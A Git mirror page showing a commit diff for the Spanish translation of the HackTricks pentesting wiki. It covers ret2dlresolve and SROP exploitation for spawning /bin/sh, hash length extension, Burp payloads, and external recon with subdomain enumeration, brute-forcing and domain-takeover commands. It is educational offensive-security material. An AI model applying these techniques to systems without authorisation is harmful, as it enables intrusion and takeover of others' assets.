maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/README.md', 'src/binary-exploitation/rop-return-oriente

Browse Source
This commit is contained in:
Translator 2025-01-03 18:05:07 +00:00
parent 08d1db07a2
commit e30cba2059
73 changed files with 1004 additions and 699 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

7
hacktricks-preprocessor.py
View File

@ -69,6 +69,12 @@ def ref(matchobj):
return result
def add_read_time(content):
regex = r'(<\/style>\n# .*(?=\n))'
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
return new_content
def iterate_chapters(sections):
if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section
return
@ -99,6 +105,7 @@ if __name__ == '__main__':
current_chapter = chapter
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content'])
new_content = add_read_time(new_content)
chapter['content'] = new_content
content = json.dumps(book)

43
src/README.md
View File

@ -1,13 +1,10 @@
# HackTricks
Tiempo de lectura: {{ #reading_time }}
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Los logos y el diseño en movimiento de Hacktricks son de_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
> [!TIP]
> **Bienvenido a la wiki donde encontrarás cada truco/técnica de hacking que he aprendido de CTFs, aplicaciones de la vida real, leyendo investigaciones y noticias.**
> [!TIP] > **Bienvenido a la wiki donde encontrarás cada truco/técnica de hacking/cualquier cosa que he aprendido de CTFs, aplicaciones de la vida real, leyendo investigaciones y noticias.**
Para comenzar, sigue esta página donde encontrarás el **flujo típico** que **debes seguir al realizar pentesting** en una o más **máquinas:**
@ -33,9 +30,11 @@ Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stm
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.
{% embed url="https://www.rootedcon.com/" %}
{{#ref}}
https://www.rootedcon.com/
{{#endref}}
---
@ -47,7 +46,9 @@ Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stm
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#ref}}
https://go.intigriti.com/hacktricks
{{#endref}}
---
@ -56,11 +57,13 @@ Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stm
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.
Accede hoy:
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#ref}}
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
{{#endref}}
---
@ -86,7 +89,9 @@ Accede hoy:
**Encuentra y reporta vulnerabilidades críticas y explotables con un impacto real en los negocios.** Usa nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios, y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
{{#endref}}
---
@ -94,10 +99,10 @@ Accede hoy:
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi** ofrece APIs rápidas y fáciles en tiempo real para **acceder a resultados de motores de búsqueda**. Ellos extraen datos de motores de búsqueda, manejan proxies, resuelven captchas y analizan todos los datos estructurados ricos por ti.
**SerpApi** ofrece APIs rápidas y fáciles en tiempo real para **acceder a los resultados de motores de búsqueda**. Ellos scrapean motores de búsqueda, manejan proxies, resuelven captchas y analizan todos los datos estructurados ricos por ti.
Una suscripción a uno de los planes de SerpApi incluye acceso a más de 50 APIs diferentes para extraer datos de diferentes motores de búsqueda, incluyendo Google, Bing, Baidu, Yahoo, Yandex, y más.\
A diferencia de otros proveedores, **SerpApi no solo extrae resultados orgánicos**. Las respuestas de SerpApi incluyen consistentemente todos los anuncios, imágenes y videos en línea, gráficos de conocimiento y otros elementos y características presentes en los resultados de búsqueda.
Una suscripción a uno de los planes de SerpApi incluye acceso a más de 50 APIs diferentes para scrapeo de diferentes motores de búsqueda, incluyendo Google, Bing, Baidu, Yahoo, Yandex, y más.\
A diferencia de otros proveedores, **SerpApi no solo scrapea resultados orgánicos**. Las respuestas de SerpApi incluyen consistentemente todos los anuncios, imágenes y videos en línea, gráficos de conocimiento y otros elementos y características presentes en los resultados de búsqueda.
Los clientes actuales de SerpApi incluyen **Apple, Shopify y GrubHub**.\
Para más información, consulta su [**blog**](https://serpapi.com/blog/)**,** o prueba un ejemplo en su [**playground**](https://serpapi.com/playground)**.**\
@ -111,7 +116,9 @@ Puedes **crear una cuenta gratuita** [**aquí**](https://serpapi.com/users/sign_
Aprende las tecnologías y habilidades necesarias para realizar investigación de vulnerabilidades, pruebas de penetración y ingeniería inversa para proteger aplicaciones y dispositivos móviles. **Domina la seguridad de iOS y Android** a través de nuestros cursos a demanda y **certifícate**:
{% embed url="https://academy.8ksec.io/" %}
{{#ref}}
https://academy.8ksec.io/
{{#endref}}
---
@ -121,13 +128,15 @@ Aprende las tecnologías y habilidades necesarias para realizar investigación d
[**WebSec**](https://websec.nl) es una empresa profesional de ciberseguridad con sede en **Ámsterdam** que ayuda a **proteger** negocios **en todo el mundo** contra las últimas amenazas de ciberseguridad al proporcionar **servicios de seguridad ofensiva** con un enfoque **moderno**.
WebSec es una **empresa de seguridad todo en uno**, lo que significa que lo hacen todo; Pentesting, **Auditorías** de Seguridad, Capacitación en Conciencia, Campañas de Phishing, Revisión de Código, Desarrollo de Exploits, Externalización de Expertos en Seguridad y mucho más.
WebSec es una **empresa de seguridad todo en uno**, lo que significa que hacen de todo; Pentesting, **Auditorías** de Seguridad, Capacitación en Conciencia, Campañas de Phishing, Revisión de Código, Desarrollo de Exploits, Externalización de Expertos en Seguridad y mucho más.
Otra cosa interesante sobre WebSec es que, a diferencia del promedio de la industria, WebSec es **muy confiado en sus habilidades**, hasta el punto de que **garantizan los mejores resultados de calidad**, se indica en su sitio web "**Si no podemos hackearlo, ¡no pagas!**". Para más información, echa un vistazo a su [**sitio web**](https://websec.nl/en/) y [**blog**](https://websec.nl/blog/)!
Además de lo anterior, WebSec también es un **apoyo comprometido de HackTricks.**
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
{{#endref}}
## Licencia y Descargo de Responsabilidad

8
src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
View File

@ -10,14 +10,16 @@ La función **`_dl_runtime_resolve`** toma del stack referencias a algunas estru
Por lo tanto, es posible **falsificar todas estas estructuras** para hacer que la resolución dinámica vincule el símbolo solicitado (como la función **`system`**) y lo llame con un parámetro configurado (por ejemplo, **`system('/bin/sh')`**).
Usualmente, todas estas estructuras se falsifican haciendo una **cadena ROP inicial que llama a `read`** sobre una memoria escribible, luego las **estructuras** y la cadena **`'/bin/sh'`** se pasan para que sean almacenadas por `read` en una ubicación conocida, y luego la cadena ROP continúa llamando a **`_dl_runtime_resolve`**, haciendo que **resuelva la dirección de `system`** en las estructuras falsas y **llame a esta dirección** con la dirección a `$'/bin/sh'`.
Usualmente, todas estas estructuras se falsifican haciendo una **cadena ROP inicial que llama a `read`** sobre una memoria escribible, luego las **estructuras** y la cadena **`'/bin/sh'`** se pasan para que sean almacenadas por `read` en una ubicación conocida, y luego la cadena ROP continúa llamando a **`_dl_runtime_resolve`**, haciendo que **resuelva la dirección de `system`** en las estructuras falsas y **llame a esta dirección** con la dirección a `'$'/bin/sh'`.
> [!TIP]
> Esta técnica es útil especialmente si no hay gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv/) o [SROP](srop-sigreturn-oriented-programming/)) y no hay formas de filtrar direcciones de libc.
Mira este video para una buena explicación sobre esta técnica en la segunda mitad del video:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
O consulta estas páginas para una explicación paso a paso:
@ -54,7 +56,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
```
## Ejemplo
### Pwntools Puro
### Pure Pwntools
Puedes encontrar un [**ejemplo de esta técnica aquí**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **que contiene una muy buena explicación de la cadena ROP final**, pero aquí está el exploit final utilizado:
```python

12
src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
View File

@ -1,19 +1,19 @@
# SROP - Programación Orientada a Señales
# SROP - Programación Orientada a la Señal
{{#include ../../../banners/hacktricks-training.md}}
## Información Básica
**`Sigreturn`** es una **syscall** especial que se utiliza principalmente para limpiar después de que un manejador de señales ha completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un **manejador de señales**, una función especial diseñada para tratar con señales.
**`Sigreturn`** es una **syscall** especial que se utiliza principalmente para limpiar después de que un controlador de señales ha completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un **controlador de señales**, una función especial diseñada para tratar con señales.
Después de que el manejador de señales termina, el programa necesita **reanudar su estado anterior** como si nada hubiera pasado. Aquí es donde **`sigreturn`** entra en juego. Ayuda al programa a **volver del manejador de señales** y restaura el estado del programa limpiando el marco de pila (la sección de memoria que almacena llamadas a funciones y variables locales) que fue utilizado por el manejador de señales.
Después de que el controlador de señales termina, el programa necesita **reanudar su estado anterior** como si nada hubiera pasado. Aquí es donde **`sigreturn`** entra en juego. Ayuda al programa a **volver del controlador de señales** y restaura el estado del programa limpiando el marco de pila (la sección de memoria que almacena llamadas a funciones y variables locales) que fue utilizado por el controlador de señales.
La parte interesante es cómo **`sigreturn`** restaura el estado del programa: lo hace almacenando **todos los valores de los registros de la CPU en la pila.** Cuando la señal ya no está bloqueada, **`sigreturn` saca estos valores de la pila**, restableciendo efectivamente los registros de la CPU a su estado antes de que se manejara la señal. Esto incluye el registro del puntero de pila (RSP), que apunta a la parte superior actual de la pila.
> [!CAUTION]
> Llamar a la syscall **`sigreturn`** desde una cadena ROP y **agregar los valores de registro** que nos gustaría que cargara en la **pila** es posible para **controlar** todos los valores de registro y, por lo tanto, **llamar** por ejemplo a la syscall `execve` con `/bin/sh`.
Nota cómo esto sería un **tipo de Ret2syscall** que facilita mucho el control de parámetros para llamar a otras Ret2syscalls:
Nota cómo esto sería un **tipo de Ret2syscall** que facilita mucho el control de los parámetros para llamar a otras Ret2syscalls:
{{#ref}}
../rop-syscall-execv/
@ -57,7 +57,9 @@ Si tienes curiosidad, esta es la **estructura sigcontext** almacenada en la pila
```
Para una mejor explicación, consulta también:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## Ejemplo

8
src/burp-suite.md
View File

@ -4,13 +4,15 @@
- **Lista Simple:** Solo una lista que contiene una entrada en cada línea
- **Archivo en Tiempo de Ejecución:** Una lista leída en tiempo de ejecución (no cargada en memoria). Para soportar listas grandes.
- **Modificación de Caso:** Aplicar algunos cambios a una lista de cadenas (Sin cambio, a minúsculas, a MAYÚSCULAS, a Nombre Propio - Primera letra en mayúscula y el resto en minúsculas-, a Nombre Propio - Primera letra en mayúscula y el resto permanece igual-).
- **Números:** Generar números de X a Y usando un paso Z o aleatoriamente.
- **Modificación de Caso:** Aplicar algunos cambios a una lista de cadenas (Sin cambio, a minúsculas, a MAYÚSCULAS, a Nombre Propio - Primer letra en mayúscula y el resto en minúsculas-, a Nombre Propio - Primer letra en mayúscula y el resto permanece igual-).
- **Números:** Generar números de X a Y usando Z pasos o aleatoriamente.
- **Fuerza Bruta:** Conjunto de caracteres, longitud mínima y máxima.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Carga útil para ejecutar comandos y obtener la salida a través de solicitudes DNS a burpcollab.
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
{{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)

4
src/crypto-and-stego/esoteric-languages.md
View File

@ -48,7 +48,9 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
{{#ref}}
https://codewithrockstar.com/
{{#endref}}
## PETOOH
```

18
src/crypto-and-stego/hash-length-extension-attack.md
View File

@ -1,4 +1,4 @@
# Hash Length Extension Attack
# Ataque de Extensión de Longitud de Hash
{{#include ../banners/hacktricks-training.md}}
@ -9,9 +9,9 @@ Imagina un servidor que está **firmando** algunos **datos** al **agregar** un *
- **La longitud del secreto** (esto también se puede forzar mediante fuerza bruta desde un rango de longitud dado)
- **Los datos de texto claro**
- **El algoritmo (y es vulnerable a este ataque)**
- **El padding es conocido**
- **El relleno es conocido**
- Generalmente se usa uno por defecto, así que si se cumplen los otros 3 requisitos, este también lo es
- El padding varía dependiendo de la longitud del secreto + datos, por eso se necesita la longitud del secreto
- El relleno varía dependiendo de la longitud del secreto + datos, por eso se necesita la longitud del secreto
Entonces, es posible que un **atacante** **agregue** **datos** y **genere** una **firma** válida para los **datos anteriores + datos agregados**.
@ -19,17 +19,19 @@ Entonces, es posible que un **atacante** **agregue** **datos** y **genere** una
Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **desde** el **hash** **creado previamente** (estado), **agregan el siguiente bloque de datos** y **lo hashean**.
Entonces, imagina que el secreto es "secret" y los datos son "data", el MD5 de "secretdata" es 6036708eba0d11f6ef52ad44e8b74d5b.\
Si un atacante quiere agregar la cadena "append", puede:
Entonces, imagina que el secreto es "secreto" y los datos son "datos", el MD5 de "secretodata" es 6036708eba0d11f6ef52ad44e8b74d5b.\
Si un atacante quiere agregar la cadena "agregar" puede:
- Generar un MD5 de 64 "A"s
- Cambiar el estado del hash previamente inicializado a 6036708eba0d11f6ef52ad44e8b74d5b
- Agregar la cadena "append"
- Terminar el hash y el hash resultante será un **válido para "secret" + "data" + "padding" + "append"**
- Agregar la cadena "agregar"
- Terminar el hash y el hash resultante será un **válido para "secreto" + "datos" + "relleno" + "agregar"**
### **Herramienta**
{% embed url="https://github.com/iagox86/hash_extender" %}
{{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
### Referencias

8
src/crypto-and-stego/rc4-encrypt-and-decrypt.md
View File

@ -4,8 +4,12 @@ Si puedes de alguna manera cifrar un texto plano usando RC4, puedes descifrar cu
Si puedes cifrar un texto plano conocido, también puedes extraer la contraseña. Más referencias se pueden encontrar en la máquina HTB Kryptos:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

8
src/cryptography/hash-length-extension-attack.md
View File

@ -9,13 +9,13 @@ Imagina un servidor que está **firmando** algunos **datos** al **agregar** un *
- **El algoritmo (y es vulnerable a este ataque)**
- **El padding es conocido**
- Generalmente se usa uno por defecto, así que si se cumplen los otros 3 requisitos, este también lo es
- El padding varía dependiendo de la longitud del secreto+datos, por eso se necesita la longitud del secreto
- El padding varía dependiendo de la longitud del secreto + datos, por eso se necesita la longitud del secreto
Entonces, es posible que un **atacante** **agregue** **datos** y **genere** una **firma** válida para los **datos anteriores + datos agregados**.
## ¿Cómo?
Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **desde** el **hash** (estado) **creado previamente**, **agregan el siguiente bloque de datos** y **lo hashean**.
Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **desde** el **hash** **creado previamente** (estado), **agregan el siguiente bloque de datos** y **lo hashean**.
Entonces, imagina que el secreto es "secreto" y los datos son "datos", el MD5 de "secretodata" es 6036708eba0d11f6ef52ad44e8b74d5b.\
Si un atacante quiere agregar la cadena "agregar", puede:
@ -27,7 +27,9 @@ Si un atacante quiere agregar la cadena "agregar", puede:
## **Herramienta**
{% embed url="https://github.com/iagox86/hash_extender" %}
{{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
## Referencias

8
src/cryptography/rc4-encrypt-and-decrypt.md
View File

@ -4,8 +4,12 @@ Si puedes de alguna manera cifrar un texto plano usando RC4, puedes descifrar cu
Si puedes cifrar un texto plano conocido, también puedes extraer la contraseña. Más referencias se pueden encontrar en la máquina HTB Kryptos:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

61
src/generic-methodologies-and-resources/external-recon-methodology/README.md
View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Descubrimiento de Activos
> Se te ha dicho que todo lo que pertenece a una empresa está dentro del alcance, y quieres averiguar qué posee realmente esta empresa.
@ -58,7 +57,7 @@ Puedes encontrar la IP y ASN de un dominio usando [http://ipv4info.com/](http://
### **Buscando vulnerabilidades**
En este punto conocemos **todos los activos dentro del alcance**, así que si se te permite, podrías lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) sobre todos los hosts.\
Además, podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) **o usar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres deberías** consultar este libro sobre cómo hacer pentesting a varios servicios posibles en ejecución.\
También podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) **o usar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres deberías** echar un vistazo en este libro sobre cómo hacer pentesting a varios servicios posibles en ejecución.\
**Además, podría valer la pena mencionar que también puedes preparar algunas listas de** nombres de usuario **y** contraseñas **por defecto y tratar de** hacer fuerza bruta a los servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Dominios
@ -83,7 +82,7 @@ También puedes usar una herramienta en línea para esta información: [http://p
### **Reverse Whois (loop)**
Dentro de un **whois** puedes encontrar mucha **información** interesante como **nombre de la organización**, **dirección**, **correos electrónicos**, números de teléfono... Pero lo que es aún más interesante es que puedes encontrar **más activos relacionados con la empresa** si realizas **búsquedas inversas de whois por cualquiera de esos campos** (por ejemplo, otros registros whois donde aparece el mismo correo electrónico).\
Dentro de un **whois** puedes encontrar mucha **información** interesante como **nombre de la organización**, **dirección**, **correos electrónicos**, números de teléfono... Pero lo que es aún más interesante es que puedes encontrar **más activos relacionados con la empresa** si realizas **búsquedas de reverse whois por cualquiera de esos campos** (por ejemplo, otros registros whois donde aparece el mismo correo electrónico).\
Puedes usar herramientas en línea como:
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratis**
@ -91,7 +90,7 @@ Puedes usar herramientas en línea como:
- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratis**
- [https://www.whoxy.com/](https://www.whoxy.com) - **Gratis** web, no gratis API.
- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - No gratis
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No Gratis (solo **100 gratis** búsquedas)
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No Gratis (solo **100 búsquedas gratis**)
- [https://www.domainiq.com/](https://www.domainiq.com) - No Gratis
Puedes automatizar esta tarea usando [**DomLink** ](https://github.com/vysecurity/DomLink)(requiere una clave API de whoxy).\
@ -144,7 +143,7 @@ return fhash
Busca dentro de las páginas web **cadenas que podrían ser compartidas entre diferentes webs en la misma organización**. La **cadena de copyright** podría ser un buen ejemplo. Luego busca esa cadena en **google**, en otros **navegadores** o incluso en **shodan**: `shodan search http.html:"Copyright string"`
### **Tiempo CRT**
### **CRT Time**
Es común tener un trabajo cron como
```bash
@ -156,11 +155,11 @@ Consulta este [**escrito para más información**](https://swarm.ptsecurity.com/
### Información de Mail DMARC
Puedes usar una web como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) o una herramienta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **dominios y subdominios que comparten la misma información dmarc**.
Puedes usar un sitio web como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) o una herramienta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **dominios y subdominios que comparten la misma información de dmarc**.
### **Toma Pasiva**
Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en una nube (como Digital Ocean) estarás **tomando el control de algunos subdominios**.
Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en una nube (como Digital Ocean) en realidad estarás **tomando algunos subdominios**.
[**Esta publicación**](https://kmsec.uk/blog/passive-takeover/) explica una historia al respecto y propone un script que **crea una VM en DigitalOcean**, **obtiene** la **IPv4** de la nueva máquina y **busca en Virustotal registros de subdominio** que apunten a ella.
@ -170,7 +169,7 @@ Aparentemente es común que las personas asignen subdominios a IPs que pertenece
**Shodan**
Como ya conoces el nombre de la organización que posee el espacio IP. Puedes buscar esos datos en shodan usando: `org:"Tesla, Inc."` Revisa los hosts encontrados para nuevos dominios inesperados en el certificado TLS.
Como ya conoces el nombre de la organización que posee el espacio IP. Puedes buscar por esos datos en shodan usando: `org:"Tesla, Inc."` Revisa los hosts encontrados para nuevos dominios inesperados en el certificado TLS.
Podrías acceder al **certificado TLS** de la página web principal, obtener el **nombre de la organización** y luego buscar ese nombre dentro de los **certificados TLS** de todas las páginas web conocidas por **shodan** con el filtro: `ssl:"Tesla Motors"` o usar una herramienta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
@ -180,13 +179,11 @@ Podrías acceder al **certificado TLS** de la página web principal, obtener el
### **Buscando vulnerabilidades**
Revisa algunos [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Quizás alguna empresa esté **usando algún dominio** pero **perdió la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa.
Verifica algún [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Tal vez alguna empresa esté **usando algún dominio** pero **perdió la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa.
Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en funcionamiento, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
&#xNAN;_&#x4E;ote que a veces el dominio está alojado dentro de una IP que no está controlada por el cliente, así que no está en el alcance, ten cuidado._
## Subdominios
> Conocemos todas las empresas dentro del alcance, todos los activos de cada empresa y todos los dominios relacionados con las empresas.
@ -194,11 +191,11 @@ Si encuentras algún **dominio con una IP diferente** de las que ya encontraste
Es hora de encontrar todos los posibles subdominios de cada dominio encontrado.
> [!TIP]
> Ten en cuenta que algunas de las herramientas y técnicas para encontrar dominios también pueden ayudar a encontrar subdominios
> Ten en cuenta que algunas de las herramientas y técnicas para encontrar dominios también pueden ayudar a encontrar subdominios.
### **DNS**
Intentemos obtener **subdominios** de los registros **DNS**. También deberíamos intentar una **Transferencia de Zona** (Si es vulnerable, deberías reportarlo).
Intentemos obtener **subdominios** de los registros **DNS**. También deberíamos intentar por **Transferencia de Zona** (Si es vulnerable, deberías reportarlo).
```bash
dnsrecon -a -d tesla.com
```
@ -285,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
- [**gau**](https://github.com/lc/gau)**:** obtiene URLs conocidas de Open Threat Exchange de AlienVault, la Wayback Machine y Common Crawl para cualquier dominio dado.
- [**gau**](https://github.com/lc/gau)**:** recupera URLs conocidas de Open Threat Exchange de AlienVault, la Wayback Machine y Common Crawl para cualquier dominio dado.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@ -344,11 +341,11 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
- [**gobuster**](https://github.com/OJ/gobuster): Este creo que solo usa 1 resolvedor
- [**gobuster**](https://github.com/OJ/gobuster): Este creo que solo usa 1 resolutor
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) es un envoltorio alrededor de `massdns`, escrito en go, que te permite enumerar subdominios válidos utilizando fuerza bruta activa, así como resolver subdominios con manejo de comodines y soporte fácil de entrada-salida.
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) es un envoltorio alrededor de `massdns`, escrito en go, que te permite enumerar subdominios válidos utilizando bruteforce activo, así como resolver subdominios con manejo de comodines y soporte fácil de entrada-salida.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@ -373,12 +370,12 @@ cat subdomains.txt | dnsgen -
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
- [**gotator**](https://github.com/Josue87/gotator)**:** Dado los dominios y subdominios, genera permutaciones. Si no se indica un archivo de permutaciones, gotator utilizará uno propio.
- [**gotator**](https://github.com/Josue87/gotator)**:** Dado los dominios y subdominios, genera permutaciones. Si no se indica un archivo de permutaciones, gotator usará el suyo propio.
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
- [**altdns**](https://github.com/infosec-au/altdns): Aparte de generar permutaciones de subdominios, también puede intentar resolverlos (pero es mejor usar las herramientas comentadas anteriormente).
- Puedes obtener permutaciones de altdns **wordlist** en [**aquí**](https://github.com/infosec-au/altdns/blob/master/words.txt).
- Puedes obtener la **wordlist** de permutaciones de altdns **aquí** en [**here**](https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@ -392,13 +389,13 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
#### Generación de permutaciones inteligentes
- [**regulator**](https://github.com/cramppet/regulator): Para más información, lee este [**post**](https://cramppet.github.io/regulator/index.html), pero básicamente obtendrá las **partes principales** de los **subdominios descubiertos** y las mezclará para encontrar más subdominios.
- [**regulator**](https://github.com/cramppet/regulator): Para más información, lee este [**post**](https://cramppet.github.io/regulator/index.html), pero básicamente tomará las **partes principales** de los **subdominios descubiertos** y las mezclará para encontrar más subdominios.
```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ es un fuzzer de fuerza bruta para subdominios acoplado con un algoritmo guiado por respuestas DNS inmensamente simple pero efectivo. Utiliza un conjunto de datos de entrada proporcionado, como una lista de palabras personalizada o registros DNS/TLS históricos, para sintetizar con precisión más nombres de dominio correspondientes y expandirlos aún más en un bucle basado en la información recopilada durante el escaneo DNS.
